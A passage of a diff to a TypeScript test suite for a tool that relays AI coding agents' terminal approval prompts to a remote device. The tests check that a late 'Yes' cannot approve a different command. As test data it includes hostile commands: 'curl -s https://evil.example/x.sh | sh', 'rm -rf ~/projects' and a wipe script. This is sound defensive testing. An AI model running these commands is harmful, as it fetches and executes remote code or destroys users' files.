idOf(fixture('tabs')), sessionId: 's1', answers: { 'Which colors do you like?': 'Blue' } })+ expect(r.ok).toBe(true)expect(h.keys).toEqual(['2', 'Tab'])})it('does nothing when the dialog is already gone', async () => {const h = machine([CLOSED])- expect(await h.controller.answer({ requestId: 'r1', sessionId: 's1', answers: { q: 'a' } })).toBe(false)+ expect(await h.controller.answer({ requestId: idOf(fixture('single')), sessionId: 's1', answers: { q: 'a' } }))+ .toEqual({ ok: false, error: 'STALE_QUESTION', detail: 'That question is no longer open.' })expect(h.keys).toEqual([])})it('gives up instead of hammering keys when the dialog never advances', async () => {const h = machine([fixture('single')])- const ok = await h.controller.answer({ requestId: 'r1', sessionId: 's1', answers: { 'Which drink would you like?': 'Tea' } })- expect(ok).toBe(false)+ const r = await h.controller.answer({ requestId: idOf(fixture('single')), sessionId: 's1', answers: { 'Which drink would you like?': 'Tea' } })+ expect(r).toMatchObject({ ok: false, error: 'ANSWER_FAILED' })expect(h.keys.length).toBeLessThanOrEqual(3)})it('falls back to the remembered session when the device sends no sessionId', async () => {const h = machine([fixture('single'), CLOSED])- h.controller.remember('r9', 's1')- expect(await h.controller.answer({ requestId: 'r9', answers: { 'Which drink would you like?': 'Tea' } })).toBe(true)+ h.controller.remember(idOf(fixture('single')), 's1')+ expect((await h.controller.answer({ requestId: idOf(fixture('single')), answers: { 'Which drink would you like?': 'Tea' } })).ok).toBe(true)expect(h.keys).toEqual(['1'])})it('drops an answer with no answers map', async () => {const h = machine([fixture('single')])- expect(await h.controller.answer({ requestId: 'r1', sessionId: 's1', answers: {} })).toBe(false)+ expect((await h.controller.answer({ requestId: idOf(fixture('single')), sessionId: 's1', answers: {} })).ok).toBe(false)+ expect(h.keys).toEqual([])+ })+})++describe('an answer that arrives after its question changed', () => {+ // The person saw one approval; by the time their "Yes" arrived the agent had moved on to ANOTHER. The+ // old positional fallback typed that "Yes" into the new prompt — approving a command nobody was shown.+ const promptA = (): string => permission('claude')+ const promptB = (): string => permission('claude').replaceAll('curl -s https://api.coingecko.com/api/v3/simple/price?ids=bitcoin', 'rm -rf ~/projects')+ const yesToA = { 'Approve Bash command: curl -s https://api.coingecko.com/api/v3/simple/price?ids=bitcoin': 'Yes' }++ it('the two prompts are different dialogs with different ids', () => {+ expect(asQuestion(parseQuestionPane(promptB())).question).toBe('Approve Bash command: rm -rf ~/projects')+ expect(idOf(promptB())).not.toBe(idOf(promptA()))+ })++ it('types nothing into the new dialog and says the question changed', async () => {+ const h = machine([promptB(), CLOSED])+ const r = await h.controller.answer({ requestId: idOf(promptA()), sessionId: 's1', answers: yesToA })+ expect(r).toEqual({ ok: false, error: 'STALE_QUESTION', detail: 'That question changed before your answer arrived.' })+ expect(h.keys).toEqual([])+ expect(h.texts).toEqual([])+ })++ it('still answers when the dialog on screen is the one it was for', async () => {+ const h = machine([promptA(), CLOSED])+ const r = await h.controller.answer({ requestId: idOf(promptA()), sessionId: 's1', answers: yesToA })+ expect(r).toEqual({ ok: true })+ expect(h.keys).toEqual(['1'])+ })++ it('refuses one with no requestId whose text names a different question', async () => {+ const h = machine([promptB(), CLOSED])+ const r = await h.controller.answer({ sessionId: 's1', answers: yesToA })+ expect(r).toMatchObject({ ok: false, error: 'STALE_QUESTION' })+ expect(h.keys).toEqual([])+ })++ it('accepts one with no requestId whose text names the question on screen', async () => {+ const h = machine([fixture('single'), CLOSED])+ expect((await h.controller.answer({ sessionId: 's1', answers: { 'Which drink would you like?': 'Tea' } })).ok).toBe(true)+ expect(h.keys).toEqual(['1'])+ })++ it('looks again when a repaint blanks the question, instead of calling it stale', async () => {+ // Mid-repaint the question line can read empty for one capture; its id then matches nothing.+ const blank = fixture('single').replace('Which drink would you like?', '')+ const h = machine([blank, fixture('single'), CLOSED])+ expect(await h.controller.answer({ requestId: idOf(fixture('single')), sessionId: 's1', answers: { Drink: 'Tea' } })).toEqual({ ok: true })+ expect(h.keys).toEqual(['1'])+ })++ it('types nothing into a dialog whose question never becomes readable', async () => {+ const h = machine([fixture('single').replace('Which drink would you like?', '')])+ expect(await h.controller.answer({ requestId: idOf(fixture('single')), sessionId: 's1', answers: { Drink: 'Tea' } })).toMatchObject({ ok: false })+ expect(h.keys).toEqual([])+ })++ it('never submits a form it finds already on its review screen', async () => {+ // Every question was answered elsewhere first: pressing Submit would send answers nobody here gave.+ const h = machine([fixture('review')])+ const r = await h.controller.answer({ requestId: idOf(fixture('multi')), sessionId: 's1', answers: { 'Which toppings do you want?': 'Cheese' } })+ expect(r).toMatchObject({ ok: false, error: 'STALE_QUESTION' })+ expect(h.keys).toEqual([])+ })+})++describe('positional answers', () => {+ // An answer keyed by something other than the question's text (a header, an id) is matched by POSITION+ // — but only to the dialog its requestId names. Anywhere else, position means "whatever is showing".+ const byHeader = { Drink: 'Tea' }++ it('fill the question their requestId names', async () => {+ const h = machine([fixture('single'), CLOSED])+ expect(await h.controller.answer({ requestId: idOf(fixture('single')), sessionId: 's1', answers: byHeader })).toEqual({ ok: true })+ expect(h.keys).toEqual(['1'])+ })++ it('are refused for a dialog announced under another requestId', async () => {+ const h = machine([fixture('single'), CLOSED])+ const r = await h.controller.answer({ requestId: idOf(fixture('multi')), sessionId: 's1', answers: byHeader })+ expect(r).toMatchObject({ ok: false, error: 'STALE_QUESTION' })+ expect(h.keys).toEqual([])+ })++ it('are refused with no requestId at all', async () => {+ const h = machine([fixture('single'), CLOSED])+ expect(await h.controller.answer({ sessionId: 's1', answers: byHeader })).toMatchObject({ ok: false, error: 'STALE_QUESTION' })+ expect(h.keys).toEqual([])+ })++ it('stop at the next question of the form — a new question is a new request', async () => {+ const h = machine([fixture('tabs'), fixture('single'), CLOSED])+ const r = await h.controller.answer({ requestId: idOf(fixture('tabs')), sessionId: 's1', answers: { Colors: 'Blue', Drink: 'Tea' } })+ expect(r.ok).toBe(true)+ expect(h.keys).toEqual(['2', 'Tab'])+ })++ it('match the id the watcher announced the dialog under', async () => {+ // The two sides must compute the SAME id, or every answer would be refused as stale.+ const announced: string[] = []+ const w = new QuestionWatcher({+ getSession: () => ({ sessionId: 's1', tmuxPane: '%1', engine: 'claude' } as RegisteredSession),+ capture: async () => fixture('single'),+ hasDevice: () => true,+ onQuestion: (_s, requestId) => { announced.push(requestId) },+ })+ await (w as unknown as { tick(id: string): Promise<void> }).tick('s1')+ expect(announced).toEqual([idOf(fixture('single'))])})})@@ -637,8 +767,8 @@ describe('answering a permission prompt from the device', () => {// Verified on a live claude pane: one digit selects AND submits, so no Enter follows it.const h = machine([permission('claude'), CLOSED])const answers = { 'Approve Bash command: curl -s https://api.coingecko.com/api/v3/simple/price?ids=bitcoin': 'No' }- return h.controller.answer({ requestId: 'r1', sessionId: 's1', answers }).then((ok) => {- expect(ok).toBe(true)+ return h.controller.answer({ requestId: idOf(permission('claude')), sessionId: 's1', answers }).then((r) => {+ expect(r.ok).toBe(true)expect(h.keys).toEqual(['3'])})})@@ -647,8 +777,8 @@ describe('answering a permission prompt from the device', () => {// Devin's "No" is row 7 of 7; two unanswerable editor rows are dropped from what the device shows, so// the label→digit mapping must survive that filter.const h = machine([permission('devin'), CLOSED], 'devin')- return h.controller.answer({ requestId: 'r1', sessionId: 's1', answers: { 'Approve curl -s https://api.coingecko.com/api/v3/simple/price?ids=bitcoin': 'No' } }).then((ok) => {- expect(ok).toBe(true)+ return h.controller.answer({ requestId: idOf(permission('devin'), 'devin'), sessionId: 's1', answers: { 'Approve curl -s https://api.coingecko.com/api/v3/simple/price?ids=bitcoin': 'No' } }).then((r) => {+ expect(r.ok).toBe(true)expect(h.keys).toEqual(['7'])})})@@ -657,8 +787,8 @@ describe('answering a permission prompt from the device', () => {// opencode draws BOTH a numbered ask dialog and kilo's horizontal prompt, so the direction travels on// the ROW. Keying "2" here would select nothing at all.const h = machine([permission('opencode'), CLOSED], 'opencode')- return h.controller.answer({ requestId: 'r1', sessionId: 's1', answers: { 'Access external directory /private/etc': 'Reject' } }).then((ok) => {- expect(ok).toBe(true)+ return h.controller.answer({ requestId: idOf(permission('opencode'), 'opencode'), sessionId: 's1', answers: { 'Access external directory /private/etc': 'Reject' } }).then((r) => {+ expect(r.ok).toBe(true)expect(h.keys).toEqual(['Right', 'Right', 'Enter'])})})@@ -666,8 +796,8 @@ describe('answering a permission prompt from the device', () => {it('matches an option the device truncated to its 80-byte buffer', () => {const h = machine([permission('codex'), CLOSED], 'codex')const truncated = "Yes, and don't ask again for commands that start with `printf 'hi\\n' > /priva"- return h.controller.answer({ requestId: 'r1', sessionId: 's1', answers: { "$ printf 'hi\\n' > /private/etc/harness-probe.txt": truncated } }).then((ok) => {- expect(ok).toBe(true)+ return h.controller.answer({ requestId: idOf(permission('codex'), 'codex'), sessionId: 's1', answers: { "$ printf 'hi\\n' > /private/etc/harness-probe.txt": truncated } }).then((r) => {+ expect(r.ok).toBe(true)expect(h.keys).toEqual(['2'])})})@@ -695,3 +825,418 @@ describe('QuestionWatcher on a permission prompt', () => {expect(seen).toHaveLength(1)})})++// ── the requestId of a dialog that is waiting ────────────────────────────────────────────────────────+//+// The id is recomputed on every 1.5s poll (a new id = a new question: the needs-you alert, the sound, the+// dial push) and again at the moment an answer is typed (a new id = STALE_QUESTION, nothing typed). So it+// may only change when the QUESTION does — never because a timer ticked, the cursor moved or a box was+// ticked. Pinned for every captured dialog, so nothing that later widens the id (the whole dialog, say)+// can make it move with the screen.++const FIXTURES = join(__dirname, '__fixtures__')+// SGR and cursor codes, and OSC 8 hyperlinks (grok) — what a person sees is what is left.+const ANSI_RE = /\u001b\[[0-9;?]*[ -/]*[@-~]|\u001b\][^\u0007\u001b]*(?:\u0007|\u001b\\)/g+const paneOf = (file: string): string => readFileSync(join(FIXTURES, file), 'utf8').replace(ANSI_RE, '')+const engineOf = (file: string): Parameters<typeof parseEngineQuestionPane>[0] => {+ const name = /^(?:permission|question)-([a-z]+)/.exec(file)![1]+ return (['single', 'multi', 'tabs', 'review'].includes(name) ? 'claude' : name) as Parameters<typeof parseEngineQuestionPane>[0]+}+const viewIn = (file: string, pane: string): QuestionView => asQuestion(parseEngineQuestionPane(engineOf(file), pane))+const idIn = (file: string, pane: string): string => questionRequestId('s1', viewIn(file, pane))+/** main's fingerprint — the words, the options, the arity — which never saw the dialog below its first line. */+const wordsOf = (view: QuestionView): string => `${view.question}|${view.rows.map((r) => r.label).join('|')}|${view.multi}`++/** Every captured dialog that is an open question (review screens have no id). */+const OPEN = readdirSync(FIXTURES)+ .filter((file) => /^(permission|question)-.*\.txt$/.test(file))+ .filter((file) => {+ const view = parseEngineQuestionPane(engineOf(file), paneOf(file))+ return view?.kind === 'question' && !view.partial && !!view.question && view.rows.length > 0+ })+ .sort()++/** Advance every live timer on the pane by `by`: `(01m30s · ↓ 82 tok)`, `(21s · esc to interrupt)`,+ * `( 30.5s · ↓ 63 tok)`, `(1s • esc to interrupt)`, grok's bare `1m33s`, a footer's `(89s)`. */+const tickTimers = (pane: string, by: number): string =>+ pane+ .replace(/\([^()\n]*?(?:\d(?:ms|s|m|h)\b|\dm\d|\d\s*tok|esc to interrupt)[^()\n]*\)|\b\d+m\d+s\b|\b\d+(?:\.\d+)?s\b|\b\d+ tok(?:en)?s?\b/g,+ (live) => live.replace(/\d+/g, (n) => String(Number(n) + by).padStart(n.length, '0')))++interface CursorStyle { at: RegExp; row: RegExp; off: (line: string) => string; on: (line: string, glyph: string) => string }+const CURSOR_STYLES: CursorStyle[] = [+ { // `❯ 1. Yes` over ` 2. No`: Claude, Command Code, Codex and Muse (`›`), agy (`>`), Copilot, Hermes.+ // The last "row" a cursor can sit on in Claude's multi-select is the unnumbered Submit/Next.+ at: /^(\s*(?:[│┃|]\s*)?)([❯›>])(\s*)(\d+\.\s.*)$/,+ row: /^(\s*(?:[│┃|]\s*)?)(\s\s)((?:\d+\.\s|(?:Submit|Next)\s*$).*)$/,+ off: (line) => line.replace(/^(\s*(?:[│┃|]\s*)?)([❯›>])(\s*)(\d+\.\s.*)$/, (_m, a: string, _g, sp: string, rest: string) => `${a} ${sp}${rest}`),+ on: (line, glyph) => line.replace(/^(\s*(?:[│┃|]\s*)?)(\s\s)(.*)$/, (_m, a: string, _s, rest: string) => `${a}${glyph} ${rest}`),+ },+ { // devin: `❭ 1 Xanh` over `· 2 Đỏ` and `· Other (type your own)`.+ at: /^(\s*)❭(\s.*)$/,+ row: /^(\s*)·(\s.*)$/,+ off: (line) => line.replace(/^(\s*)❭/, '$1·'),+ on: (line) => line.replace(/^(\s*)·/, '$1❭'),+ },+ { // grok's permission radio: `1 (●) Yes, and don't ask again…` over `2 (○) Yes, proceed`.+ at: /^.*\b\d+ \(●\)/,+ row: /^.*\b\d+ \(○\)/,+ off: (line) => line.replace('(●)', '(○)'),+ on: (line) => line.replace('(○)', '(●)'),+ },+]++/** The pane with the cursor moved to each other row of the live dialog, one pane per row. */+function cursorMoves(pane: string): string[] {+ const lines = pane.split('\n')+ for (const style of CURSOR_STYLES) {+ const cur = lines.findLastIndex((line) => style.at.test(line))+ if (cur < 0) continue+ const glyph = /[❯›>❭●]/.exec(lines[cur].replace(/^\s*[│┃|]/, ''))![0]+ const targets: number[] = []+ // The rows around the cursor, allowing a description line or a rule between two of them.+ for (const step of [-1, 1]) {+ for (let i = cur + step, gap = 0; i >= 0 && i < lines.length && gap <= 2; i += step) {+ if (style.row.test(lines[i])) { targets.push(i); gap = 0 } else gap+++ }+ }+ return targets.map((t) => {+ const moved = [...lines]+ moved[cur] = style.off(lines[cur])+ moved[t] = style.on(lines[t], glyph)+ return moved.join('\n')+ })+ }+ return []+}++/** The live multi-select with each box ticked in turn, then all of them. */+function boxToggles(pane: string): string[] {+ const lines = pane.split('\n')+ const first = lines.findLastIndex((line) => /\b1\.\s+\[ \]|^\s*[□■]\s+1\s/.test(line))+ if (first < 0) return []+ // Every option's box; not the free-text row's, which opens an editor rather than ticking a choice.+ const boxes = lines.map((line, i) => i >= first && /\d\.\s+\[ \]|^\s*□\s/.test(line) && !/type something|type your own/i.test(line) ? i : -1)+ .filter((i) => i >= 0)+ const tick = (line: string): string => line.replace('[ ]', '[✔]').replace(/^(\s*)□/, '$1■')+ const one = boxes.map((b) => lines.map((line, i) => i === b ? tick(line) : line).join('\n'))+ return [...one, lines.map((line, i) => boxes.includes(i) ? tick(line) : line).join('\n')]+}++// TUIs that mark the highlighted row by colour alone (the SGR is gone once captured) or lay the rows out+// side by side: no glyph in the text to move, so nothing a cursor does can reach the id.+const CURSOR_BY_COLOUR = ['permission-cursor.txt', 'permission-opencode.txt', 'question-grok.txt', 'question-kilo.txt', 'question-opencode.txt', 'question-devin-multi.txt']+// The captures that paint a live timer — inside the dialog (Hermes, Muse) or around it.+const TICKING = ['permission-grok.txt', 'permission-hermes.txt', 'permission-muse.txt', 'question-codex.txt', 'question-grok.txt', 'question-hermes.txt', 'question-muse.txt']++describe('a waiting dialog keeps one requestId', () => {+ it('covers every captured dialog', () => {+ // A new fixture joins every case below by being in the folder; this only guards the sweep itself.+ expect(OPEN.length).toBeGreaterThanOrEqual(25)+ for (const file of TICKING) expect(OPEN).toContain(file)+ })++ it.each(OPEN)('%s: while its timers tick', (file) => {+ const pane = paneOf(file)+ const id = idIn(file, pane)+ for (const by of [1, 7, 61, 997]) expect(idIn(file, tickTimers(pane, by))).toBe(id)+ })++ it.each(TICKING)('%s: the timer really is on the pane (the tick test is not vacuous)', (file) => {+ expect(tickTimers(paneOf(file), 1)).not.toBe(paneOf(file))+ })++ it.each(OPEN)('%s: with the cursor on each row', (file) => {+ const pane = paneOf(file)+ const moves = cursorMoves(pane)+ if (moves.length === 0) { expect(CURSOR_BY_COLOUR).toContain(file); return }+ const view = viewIn(file, pane)+ for (const moved of moves) {+ expect(moved).not.toBe(pane)+ // The move is a real one: the same dialog, still read as the same question with the same options.+ expect(wordsOf(viewIn(file, moved))).toBe(wordsOf(view))+ expect(idIn(file, moved)).toBe(idIn(file, pane))+ // …and with its timers ticking at the same time.+ expect(idIn(file, tickTimers(moved, 3))).toBe(idIn(file, pane))+ }+ })++ it('moves the cursor through every row of the dialogs whose rows it can see', () => {+ // Guards the sweep above against quietly moving nothing: each of these is `❯ 1.` over N more rows.+ expect(cursorMoves(paneOf('permission-claude.txt'))).toHaveLength(2)+ expect(cursorMoves(paneOf('question-single.txt'))).toHaveLength(3) // Coffee, Type something, Chat+ expect(cursorMoves(paneOf('question-multi.txt'))).toHaveLength(5) // + Submit+ expect(cursorMoves(paneOf('permission-devin.txt'))).toHaveLength(6)+ expect(cursorMoves(paneOf('permission-grok.txt'))).toHaveLength(2)+ })++ it.each(['question-multi.txt', 'question-tabs.txt', 'question-devin-multi.txt'])('%s: with its boxes ticked', (file) => {+ const pane = paneOf(file)+ const toggles = boxToggles(pane)+ expect(toggles.length).toBeGreaterThanOrEqual(4)+ for (const toggled of toggles) {+ expect(viewIn(file, toggled).rows.some((row) => row.checked)).toBe(true)+ expect(idIn(file, toggled)).toBe(idIn(file, pane))+ for (const moved of cursorMoves(toggled)) expect(idIn(file, moved)).toBe(idIn(file, pane))+ }+ })++})++describe('the review\'s simulation: a real QuestionWatcher and AskQuestionController over one pane', () => {+ // What the dial saw: the question re-announced on every poll, then its answer refused as STALE_QUESTION.+ function world(engine: string, first: string) {+ let screen = first+ const session = { agentId: 'a1', sessionId: 's1', engine, active: true, tmuxPane: '%1' } as unknown as RegisteredSession+ const announced: string[] = []+ const watcher = new QuestionWatcher({+ getSession: () => session,+ capture: async () => screen,+ hasDevice: () => true,+ onQuestion: (_s, requestId) => { announced.push(requestId) },+ onQuestionGone: (_s, requestId) => { announced.push(`gone:${requestId}`) },+ })+ const keys: string[] = []+ const controller = new AskQuestionController({+ getSession: () => session,+ capture: async () => screen,+ sendText: async () => true,+ // The keystroke answers the dialog: it leaves the pane.+ sendKey: async (_t, key) => { keys.push(key); screen = '❯ '; return true },+ wait: async () => {},+ })+ return {+ announced,+ keys,+ show: (pane: string) => { screen = pane },+ poll: () => (watcher as unknown as { tick: (s: string) => Promise<void> }).tick('s1'),+ controller,+ }+ }++ it('Claude: the person arrows through the prompt in the desktop terminal — announced once, and the dial\'s answer is typed', async () => {+ const pane = paneOf('permission-claude.txt')+ const w = world('claude', pane)+ await w.poll()+ for (const moved of cursorMoves(pane)) { w.show(moved); await w.poll() }+ w.show(pane); await w.poll()+ expect(w.announced).toEqual([idIn('permission-claude.txt', pane)])++ w.show(cursorMoves(pane)[1]) // the cursor is on "No" when the answer lands+ w.controller.remember(w.announced[0], 's1')+ const r = await w.controller.answer({ agentId: 'a1', requestId: w.announced[0], answers: { x: 'Yes' } })+ expect(r).toEqual({ ok: true })+ expect(w.keys).toEqual(['1'])+ })++ it.each([+ ['permission-hermes.txt', 'hermes', 'Deny', '3'],+ ['permission-muse.txt', 'muse', 'Yes, proceed (y)', '1'],+ ['question-hermes.txt', 'hermes', 'M', '2'],+ ])('%s: its timer ticks every poll — announced once, and the answer is typed', async (file, engine, answer, key) => {+ const pane = paneOf(file)+ const w = world(engine, pane)+ for (let s = 0; s < 6; s++) { w.show(tickTimers(pane, s)); await w.poll() }+ expect(w.announced).toEqual([idIn(file, pane)])++ w.show(tickTimers(pane, 9))+ const r = await w.controller.answer({ agentId: 'a1', requestId: w.announced[0], answers: { x: answer } })+ expect(r).toEqual({ ok: true })+ expect(w.keys).toEqual([key])+ })++ it('still refuses an answer once the command itself changed', async () => {+ const pane = paneOf('permission-claude.txt')+ const w = world('claude', pane)+ await w.poll()+ w.show(pane.replaceAll('curl -s https://api.coingecko.com/api/v3/simple/price?ids=bitcoin', 'curl -s https://evil.example/x.sh | sh'))+ await w.poll()+ expect(w.announced).toHaveLength(2)+ const r = await w.controller.answer({ agentId: 'a1', requestId: w.announced[0], answers: { x: 'Yes' } })+ expect(r).toMatchObject({ ok: false, error: 'STALE_QUESTION' })+ expect(w.keys).toEqual([])+ })+})++describe('a stale `Approve …` header (regression: a header from an earlier dialog named the current one)', () => {+ // An approval is titled `Approve <header>: <argument>`, and the header is shared by every prompt of its+ // kind. Two ways an earlier prompt's header reached the current one:+ // - pickAnswer's prefix rule: a key left from an earlier prompt — `Approve Bash command` (its argument+ // unread) — was a prefix of `Approve Bash command: rm -rf ~/projects`, so a no-requestId "Yes" to the+ // old prompt approved the new one; the other way round, an old full title named a header-only one.+ // - the parser: an unframed prompt under an answered one still in scrollback walked up past that one's+ // rows to its frame, and was titled by the OLD header and command — under the old prompt's very id,+ // so a [y] meant for `npm test` passed the id check and approved whatever the new prompt runs.+ const CURL = 'curl -s https://api.coingecko.com/api/v3/simple/price?ids=bitcoin'+ const rule = '─'.repeat(60)+ const earlier = [rule, ' Bash command', '', ' npm test', '', ' Do you want to proceed?', ' ❯ 1. Yes', ' 2. No', '', ' Esc to cancel · Tab to amend', '']+ const output = ['⏺ Bash(npm test)', ' ⎿ ok', '']+ const unframed = [' Do you want to proceed?', ' python3 scripts/wipe.py --all', ' ❯ 1. Yes', ' 2. No', '', ' Esc to cancel', '']+ const headerOnly = [rule, ' Bash command', '', ' Do you want to proceed?', ' ❯ 1. Yes', ' 2. No', '', ' Esc to cancel'].join('\n')+ const rmRf = (): string => permission('claude').replaceAll(CURL, 'rm -rf ~/projects')++ it('pickAnswer: a question is named by its own text only, never a prefix either way', () => {+ expect(pickAnswer({ 'Approve Bash command': 'Yes' }, 'Approve Bash command: rm -rf ~/projects', new Set())).toBeNull()+ expect(pickAnswer({ 'Approve Bash command: npm test': 'Yes' }, 'Approve Bash command', new Set())).toBeNull()+ expect(pickAnswer({ 'Approve Bash command: rm -rf ~/pro': 'Yes' }, 'Approve Bash command: rm -rf ~/projects', new Set())).toBeNull()+ expect(pickAnswer({ 'Which drink would': 'Tea' }, 'Which drink would you like?', new Set())).toBeNull()+ // Case, spacing and a trailing ellipsis are not the text.+ expect(pickAnswer({ 'approve bash command: rm -rf ~/projects…': 'No' }, 'Approve Bash command: rm -rf ~/projects', new Set()))+ .toEqual({ key: 'approve bash command: rm -rf ~/projects…', value: 'No' })+ // A key that normalises to nothing names no question, not even a blank one.+ expect(pickAnswer({ '…': 'Yes' }, '', new Set())).toBeNull()+ // With its requestId's proof, position still answers the dialog it was written for.+ expect(pickAnswer({ 'Approve Bash command': 'No' }, 'Approve Bash command: rm -rf ~/projects', new Set(), { positional: true }))+ .toEqual({ key: 'Approve Bash command', value: 'No' })+ })++ it('types nothing into a permission prompt for a no-requestId answer keyed by an earlier prompt\'s header', async () => {+ const stale = machine([rmRf(), CLOSED])+ expect(await stale.controller.answer({ sessionId: 's1', answers: { 'Approve Bash command': 'Yes' } })).toMatchObject({ ok: false, error: 'STALE_QUESTION' })+ expect(stale.keys).toEqual([])+ // …nor into a header-only prompt for an earlier prompt's full title.+ const bare = machine([headerOnly, CLOSED])+ expect(asQuestion(parseQuestionPane(headerOnly)).question).toBe('Approve Bash command')+ expect(await bare.controller.answer({ sessionId: 's1', answers: { 'Approve Bash command: npm test': 'Yes' } })).toMatchObject({ ok: false, error: 'STALE_QUESTION' })+ expect(bare.keys).toEqual([])+ // The prompt's own title still answers it, and its requestId still answers it by position.+ const own = machine([rmRf(), CLOSED])+ expect(await own.controller.answer({ sessionId: 's1', answers: { 'Approve Bash command: rm -rf ~/projects': 'No' } })).toEqual({ ok: true })+ expect(own.keys).toEqual(['3'])+ const byId = machine([rmRf(), CLOSED])+ expect(await byId.controller.answer({ requestId: idOf(rmRf()), sessionId: 's1', answers: { 'Approve Bash command': 'No' } })).toEqual({ ok: true })+ expect(byId.keys).toEqual(['3'])+ })++ it('an unframed prompt under an answered one is titled by its own command, not the answered one\'s', () => {+ const view = asQuestion(parseQuestionPane([...earlier, ...output, ...unframed].join('\n')))+ expect(view).toMatchObject({ permission: true, question: 'python3 scripts/wipe.py --all' })+ expect(view.question).not.toMatch(/Bash command|npm test/)+ })++ it('so an answer for the answered prompt is refused on the new one, even carrying that prompt\'s requestId', async () => {+ // The id the watcher announced `npm test` under: what the person's [y] carries back.+ const npmTest = idOf([...earlier, ...output].join('\n'))+ const now = [...earlier, ...output, ...unframed].join('\n')+ expect(idOf(now)).not.toBe(npmTest)+ const h = machine([now, CLOSED])+ expect(await h.controller.answer({ requestId: npmTest, sessionId: 's1', answers: { 'Approve Bash command: npm test': 'Yes' } }))+ .toMatchObject({ ok: false, error: 'STALE_QUESTION' })+ expect(h.keys).toEqual([])+ })++ it('an earlier question dialog ends the walk the same way; right under one, the title is "Approval required"', () => {+ const question = [rule, ' ☐ Drink', '', ' Which drink would you like?', '', ' ❯ 1. Tea', ' 2. Coffee', '', ' Enter to select · ↑/↓ to navigate · Esc to cancel', '']+ expect(asQuestion(parseQuestionPane([...question, ...output, ...unframed].join('\n'))).question).toBe('python3 scripts/wipe.py --all')+ const underIt = asQuestion(parseQuestionPane([...earlier, ' ❯ 1. Yes', ' 2. No', '', ' Esc to cancel'].join('\n')))+ expect(underIt).toMatchObject({ permission: true, question: 'Approval required' })+ })++ it('a framed prompt under an answered one still reads its own frame, header and command, under its own id', () => {+ const current = [rule, ' Bash command', '', ' ls -la', '', ' Do you want to proceed?', ' ❯ 1. Yes', ' 2. No', '', ' Esc to cancel']+ expect(asQuestion(parseQuestionPane([...earlier, ...output, ...current].join('\n'))).question).toBe('Approve Bash command: ls -la')+ expect(idOf([...earlier, ...output, ...current].join('\n'))).toBe(idOf(current.join('\n')))+ })++ it('numbered text inside the frame, and prose that mentions a key, are not an earlier dialog', () => {+ const edit = [rule, ' Edit file', ' notes.md', '', ' 1. Add the tests', ' 2. Make Esc close the modal', ' press esc to see it', '',+ ' Do you want to make this edit to notes.md?', ' ❯ 1. Yes', ' 2. No', '', ' Esc to cancel']+ expect(asQuestion(parseQuestionPane(edit.join('\n'))).question).toBe('Approve Edit file: notes.md')+ })+})++describe('every captured dialog keeps main\'s requestId', () => {+ // Pinned from main's parser. The fix above only stops a walk at an EARLIER dialog, so no capture of a+ // single dialog may change id: a moved id is a question re-announced to every client, and an answer in+ // flight refused as stale. A new fixture is pinned here by being added to the folder.+ const PINNED: Record<string, string> = {+ 'permission-agy.txt': 'q_60303071',+ 'permission-claude-edit.txt': 'q_e5db8e92',+ 'permission-claude-plan.txt': 'q_ef5fd1bd',+ 'permission-claude.txt': 'q_53cbacbe',+ 'permission-codex.txt': 'q_4dee428d',+ 'permission-commandcode.txt': 'q_b5f70edc',+ 'permission-copilot.txt': 'q_a83deada',+ 'permission-cursor.txt': 'q_e2102acb',+ 'permission-devin.txt': 'q_0ed54a33',+ 'permission-grok.txt': 'q_5396976a',+ 'permission-hermes.txt': 'q_b57b7882',+ 'permission-muse.txt': 'q_efbbdf0e',+ 'permission-opencode.txt': 'q_0f7b7b0e',+ 'question-agy.txt': 'q_c81fea46',+ 'question-codex.txt': 'q_2b1fb10c',+ 'question-commandcode.txt': 'q_66cbf314',+ 'question-copilot.txt': 'q_c81fea46',+ 'question-devin-multi.txt': 'q_19c3200e',+ 'question-devin.txt': 'q_19a084b7',+ 'question-grok.txt': 'q_a5e412d6',+ 'question-hermes.txt': 'q_541f972b',+ 'question-kilo.txt': 'q_0f7b7b0e',+ 'question-multi.txt': 'q_6945a8c7',+ 'question-muse.txt': 'q_42c9e375',+ 'question-opencode.txt': 'q_048f35db',+ 'question-single.txt': 'q_f0722383',+ 'question-tabs.txt': 'q_b9207692',+ }+ const answered = ['─'.repeat(60), ' Bash command', '', ' npm test', '', ' Do you want to proceed?', ' ❯ 1. Yes', ' 2. No', '', ' Esc to cancel · Tab to amend', '',+ '⏺ Bash(npm test)', ' ⎿ ok', '']++ it('pins every open fixture', () => {+ expect(Object.keys(PINNED).sort()).toEqual(OPEN)+ })++ it.each(OPEN)('%s: alone, and under an answered prompt in scrollback', (file) => {+ expect(idIn(file, paneOf(file))).toBe(PINNED[file])+ expect(idIn(file, [...answered, paneOf(file)].join('\n'))).toBe(PINNED[file])+ })+})++describe('the dialog read is the LAST one on the pane (regression: an answered dialog above was read instead)', () => {+ // A pane keeps an answered dialog in its scrollback and paints the live one under it. Every reader must+ // read the live one, and nothing of it from above the answered one's end: found with the live dialog+ // under an answered one, muse's approval read as the muse question above it, and Command Code's+ // footer-less question as the footered question above it — under THAT question's requestId.+ const ALL = readdirSync(FIXTURES).filter((file) => /^(permission|question)-.*\.txt$/.test(file)).sort()+ /** What a client is shown, and the id its answer comes back under. */+ const readIn = (file: string, pane: string) => {+ const view = parseEngineQuestionPane(engineOf(file), pane)+ return view?.kind === 'question' && view.question ? { ...view, id: questionRequestId('s1', view) } : view+ }+ /** The capture cut to its own dialog: the fewest last lines that still read as the whole capture does. */+ const ownDialog = (file: string): string => {+ const lines = paneOf(file).split('\n')+ const whole = JSON.stringify(readIn(file, paneOf(file)))+ let top = 0+ while (top + 1 < lines.length && JSON.stringify(readIn(file, lines.slice(top + 1).join('\n'))) === whole) top+++ return lines.slice(top).join('\n')+ }++ it('reads muse\'s approval, not the answered question above it', () => {+ const view = viewIn('permission-muse.txt', [paneOf('question-muse.txt'), paneOf('permission-muse.txt')].join('\n'))+ expect(view).toMatchObject({ question: '$ curl -s https://example.com', rows: [{ label: 'Yes, proceed (y)' }, { label: expect.stringMatching(/^Yes, don't ask again/) }, { label: expect.stringMatching(/^No/) }] })+ expect(idIn('permission-muse.txt', [paneOf('question-muse.txt'), paneOf('permission-muse.txt')].join('\n'))).toBe(idIn('permission-muse.txt', paneOf('permission-muse.txt')))+ })++ it('reads Command Code\'s footer-less question, not the answered question above it', () => {+ const pane = [paneOf('question-single.txt'), paneOf('question-commandcode.txt')].join('\n')+ expect(viewIn('question-commandcode.txt', pane).question).toBe('"Cầu vụ" bạn muốn game gì?')+ expect(idIn('question-commandcode.txt', pane)).toBe('q_66cbf314') // its 